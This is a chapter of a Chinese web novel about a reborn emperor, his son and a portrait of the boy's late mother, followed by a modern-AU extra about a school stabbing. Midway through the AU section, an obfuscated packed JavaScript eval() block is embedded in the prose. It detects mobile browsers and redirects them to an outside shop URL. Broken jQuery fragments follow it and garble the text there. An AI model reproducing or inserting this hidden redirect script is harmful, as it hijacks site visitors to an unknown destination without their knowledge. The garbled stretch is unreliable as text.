26. 时机未到

作品:《团宠一心求死

    宁钰十分无奈,不晓得这父子俩之间到底有什么隔阂,方才还好好儿的,这会子又气着一个。


    “父皇,总这样惹哭小五也不……”


    宁钰刚开口,宁辉就警惕着盯着他,“别想把小五从我身边带走!”


    宁钰:“……”


    宁辉赶紧把小五抱去了里间躺下。


    太子跟着进去,劝道:“近来小五和您亲密不少,只是这孩子心里头藏着事儿,您好像也藏着事儿,要不找个机会说开,父子之间的关系和治河一般,堵不如疏,否则哪天堤坝崩溃,就无可挽回了。”


    这些道理宁辉不是不明白,只是他觉得此时不是时机。前世的他亏欠小五太多太多,贸然说出自己亦是重活一世,只怕小五会不管不顾地逃离自己。


    他不敢赌。


    “再等等吧。”他说。


    宁钰点点头,又道:“临近年节,宫外可热闹,小五从未去体会过,他这个年纪正是跳脱的,正好您有空,与其拘着人家在这屋里写字画画,还不如出去玩一玩。”


    宁辉是个强势的皇帝,但几个孩子年幼时,他也没少带着他们出宫去玩,宁钰这么一说倒是提醒自己,小五还没在京城逛过,这年节的热闹,可不能让他错过。


    宁含栀睡了不到一个时辰醒了,一睁眼便看见他的父皇坐在床边担忧地看着自己。他心中一暖,忽然又想起晕睡前正和父皇闹别扭呢。


    他闭上眼,把头偏向了里侧。


    这般态度,在宁辉的意料之中,他在幺儿这里吃瘪的次数多了,也生不起气来,还笑吟吟地俯身过去拍了拍宁含栀的脸,和他商量着:“要过年了,现下皇城里热闹得很,有花灯街市,各类小吃,说书唱戏,不如挑个风和日丽的天气,父皇带你出去玩一玩吧!”


    宁含栀扯过被子罩在头上,反正就是“不听不听”,若说普天之下谁敢在九五之尊面前如此无礼,也只有这位五殿下了。


    五殿下本人都没意识到自己有点恃宠而骄。


    宁辉还乐呵呵的,会耍小性子的小五可比木讷无魂的木偶让人放心,他伸手把被子给拽了下来,继续劝道:“父皇年轻时也去过漠北,那边过年和京城可有许多不同,乖宝还没见过京城的新年,从腊月初一直热闹到正月结束,每日都有新花样……”


    他在宁含栀耳边絮叨,从年节习俗讲到小吃风味,大有宁含栀不答应他就不停下来的意思,宁含栀听得心烦,也有些心动,一蹬腿踹了踹被子,扭头瞪着宁辉:“要我去,您得许我一样东西。”


    “好,许!乖宝想要什么?”


    “一幅母妃的画像!”


    笑容僵硬在宁辉脸上——他明白为何小五突然同自己闹别扭了。


    宁含栀以为他不答应,推开他的手大骂:“骗子!”


    在外间的宁钰和福瑞相视一笑,南朝开国以来最铁血手腕的皇帝终于也有自己不敢惹的人了。


    稍后里头立刻传来宁辉的声音,“福瑞,马上去朕的寝殿,把惠妃的画像取过来。”福瑞得令,小跑着去把画像取来捧在宁含栀面前展开。


    这幅画像便是上一世被宁辉烧掉的那幅,宁含栀一见,便情难自抑。上一世还未来得及细看,画像就被投入火中化为灰烬。他跪起身膝行到床边,朝着画像伸出手摸了摸惠妃的裙摆,喃喃着喊娘亲。


    宁辉见此也忍不住难过,揽过宁含栀的肩膀开始讲起他与惠妃之间的事。


    “后宫中的嫔妃,敬我,怕我,只有你的母妃,爱我。我与她两情相悦,知道她有孕的头两天,我高兴得睡不着觉。我们数着日子盼望你出世,直到……你母妃用尽心思保你周全,后来整日吃斋念佛,只求你平安喜乐,小五,看着你母妃的眼睛,向她许诺,不要辜负她,好吗?”


    宁含栀望着画像心想:“母妃,是你在佛祖面前虔诚许愿感动了佛祖,才让我重活一世吗?”


    眼泪逐渐模糊掉眼前的画面,宁含栀抬手一抹,也不回答宁辉,对福瑞道:“麻烦福公公把画卷起来。”


    他从福瑞手里接过画,掀开被子就要下床,连鞋也不穿,宁辉揽着他的腰就把他抱起来,眉毛倒竖,“想做什么去?”


    “回自己寝殿。”


    他要把画藏起来,藏到一个宁辉找不到的地方,这样,他就烧不了了。


    夕颜端着药进来便瞧见两位主子你一言我一语地争吵,因着宁含栀吃药是耽搁不得的,她求救的眼神看向福瑞公公,福瑞硬着头皮上前一步道:“陛下,小殿下该喝药了。”


    争吵声戛然而止,夕颜端着药走到榻前。宁辉摆了摆手,示意夕颜喂宁含栀服下。


    越是有事阻拦,宁含栀的想法就越偏激。他偏头躲开夕颜喂来的一勺药,起身要跑,但脚忽得软了一下没站稳,把夕颜端着的药撞翻了,万幸福瑞离他近,一把接住了他,才免得他脸着地摔破相。


    药汤洒了一地,碗也咣啷砸得稀碎,宁含栀光着脚踩在地上,竟然还抬脚想着往外跑。


    这般举动直踩宁辉忍耐的底线,他一把将人抱起来压床上,宁含栀下意识以为他要抢画,死死地把画抱在怀里不撒手,宁辉冷笑一声,压住他的腰,转头道:“福瑞,把戒尺拿过来!”


    ———分割线———


    【现代AU:乖宝上学被捅刀(物理上的被捅刀子)】


    宁含栀从小在上学方面就没让宁辉操心过,接到班主任电话的时候,他还以为是日常随访,当时正在开会,便把手机递给了秘书让他去接。


    三分钟后秘书快步走进来在他耳边道:“小少爷在学校里和同学打架进医院了。”


    宁辉二话没说拿起西装外套丢下一众开会的员工大步流星夺门而去。


    专用电梯直达停车场,司机已经在秘书的通知下到位等待,宁辉一上车,就往宁含栀所在的医院疾驰而去。


    班主任已经把宁含栀的检查报告发到了宁辉手机上,秘书从后视镜看着自己老板脸色垮地像要吃人,默默把自己的身躯缩小,放轻呼吸。


    他感觉老板目前和护崽的母虎没多大区别……


    宁辉赶到医院时,宁含栀被推进了手术室。他的腹部被捅了一刀,伤到脾脏,大出血。


    每个字都直往宁辉心上戳。


    两小时后,宁含栀被推进了监护室,等体征稳定了就能转到普通病房。宁辉认真听完医嘱,着手转院的事情。这里是公立医院,不是自己的地盘他总归不放心。


    期间校领导、班主任和捅人的学生家长一直在走廊外面候着,直到秘书出来,让他们去隔壁值班室等。


    又是一层冷汗从后背额头涌出,班主任和校长对视一眼,几乎站不稳,她猜想自己的职业生涯多半是到头了。


    在公立医院就是这点不好,想找个单独谈话的地方都没有,还得借用护士的狭窄的值班室。


    宁辉已经了解大概情况,捅人的小子叫江明远,成绩还算不错。


    上周月考,宁含栀刚好身体不舒服,被他长期霸占的全校第一名的位置让给别人坐了,今天宁含栀给同桌讲题的时候,江明远就在旁边阴阳怪气,说宁含栀成绩还不如同桌怎么还这么好为人师。


    宁含栀在家里养尊处优的,宁辉在外叱咤京市中心,回来都被他拿捏得死死的,哪里是能受气的性子,当即就和江明远争起来了。


    “我能为人师那是我有本事,你考过第一嘛?”


    “你有什么本事?还不是你爹拿钱给你堆出来的!”


    “终于说出你内心想法了,你就是嫉妒我呗,嫉妒我成绩比你好,嫉妒我有个好爹!你回去让你爹努努力,给你这儿子在学校挣点面子。”


    “你……我是靠自己的本事,不像你!长成这副模样以后就是给人玩的!”


    “你有病吧说成绩就说成绩,掰扯长相作什么?不过你嫉妒我也是情有可原,毕竟长成你这样,就算白送都没人要呢!”


    江明远早就看宁含栀不顺眼,越吵越离谱,最后就打起来了,宁含栀学过两招,占了上风,而江明远红了眼,抓起一男生玩的手掌长的小刀就朝着宁含栀捅了过去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939282|192916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁辉走进值班室,在屋子里的唯一一张转椅上坐下,摘下金框眼镜,揉了揉眉心,闭着眼,压迫感沉在整个值班室里,似乎有了实体,让一众坐在塑料板凳上的人喘不上气。


    江明远坐在最中间,嘴角破了,右脸也肿得老高,耷拉着眼睛,全然没有方才和宁含栀打架时的嚣张样子。


    忐忑惊恐地忍受了五分钟的寂静,他们终于等到宁辉睁开眼,眼神落在江明远身上,问:“你知道我是谁?”


    江明远点头,又摇头,“我……我刚刚知道的……”


    能在这所学校上学的家境都不差,江明远也是个富二代,但是他爸那点生意连递到宁辉眼前的资格都没有。


    他爸赶来医院听伤者姓宁,又见校长班主任噤若寒蝉的样子,抬手就给了他一巴掌,揪着领子把他提了起来问他:“你是不是要我们全家都死啊?!”


    他这才知道,原来宁含栀的爸爸,就是京市宁家最年轻的家主,宁辉。


    宁辉冷笑,“不知道他老子是谁你就敢动他?”


    江明远的爸爸拉着江明远跪下磕头求饶,宁辉听着心烦,给秘书递了个眼神,秘书立刻叫进来两个保镖把父子俩的嘴给捂住。


    他一手拇指食指撑在太阳穴和眉心两处,翘起左腿,西裤往上滑了一截。


    江明远跪在地上,保镖将他双手反剪在身后,大掌捂住了他下半张脸,他被迫抬起头,眼睛和宁辉的鞋尖、眼睛在一条直线上,离宁辉的鞋尖不过一拳的距离。


    他甚至感觉下一秒,宁辉就会踢爆自己的脑袋。此刻他就像一只被猫爪按住的老鼠,下意识地挣扎着往后退,想寻一条活路。


    宁辉冷笑一声,给在京市站稳脚跟不到三年的江家判了死刑。


    “过手的一切的项目,不管是动工的还是竣工的,都收了。十五天之内,离开京市,从今往后不能踏入半步,懂了吗?”


    “懂,懂!我发誓,江家所有人从今往后都不能来京市发展!”


    宁辉纠正他,“是不能踏入一步。”


    不能来京市的学校念书,不能来京市的医院看病,绝了江家所有能出现在宁含栀面前的机会。


    宁含栀出了ICU就被转到宁家的医院,顶楼套房就是为他准备的,在十岁以前,这里几乎算得上他第二个家。


    因为大出血,所以他醒来后意识很混沌,中刀倒地后同学的尖叫,送去医院抢救时医生的商讨,画面和身影交错穿杂地在脑中混乱闪回,他以为自己要死了,哭着喊爸爸。


    氧气面罩扣在脸上,他没办法说话,想挣扎着坐起来。他的身体过于虚弱,自以为的剧烈挣扎,在守在一旁的宁辉眼里就是四肢抽动,宁辉立刻按了呼叫器。


    “好消息,小少爷醒过来了,只是意识不太清醒,您和他说说话。”医生道。


    宁辉想握一握小崽子的手,可是两只手背上都扎着针,他只能不停地抚摸着宁含栀的侧脸,不停地说着:“乖宝别怕,爸爸在这里,快醒过来,睁开眼看看我……”


    宁含栀听到宁辉的声音,就像被拽进深海的溺水者突然抓住了一根绳子。


    他睁开眼,看见宁辉的一瞬间,眼泪就从眼角汹涌而出。


    “b…ba……爸爸……”


    他的声音完全被床头的各类仪器运转的声音给盖住,宁辉只能透过氧气面罩上的雾气看出宁含栀在说话。


    “氧气面罩能扯了吗?”宁辉问道。


    医生看了下宁含栀的血氧值,把它换成了鼻氧管。宁含栀脸上被扣出一圈红印,模样有些滑稽,宁辉心疼地深呼吸一口气,掏出手机拍了张照怼宁含栀眼前,“以前让你学点功夫你偷懒,现在连个瘦猴都打不过,遭罪了吧?”


    宁含栀哼唧着,眼看着要哭,这时候门从外边打开,宁钰回来了。


    “爸!”他拉长着声音表达不满,“您怎么又在欺负小五!”


    家里的食物链:


    宁含栀>宁辉(渣爹)≥宁钰(老大)>宁楦(老二)>宁决(老四)>宁钰(老三)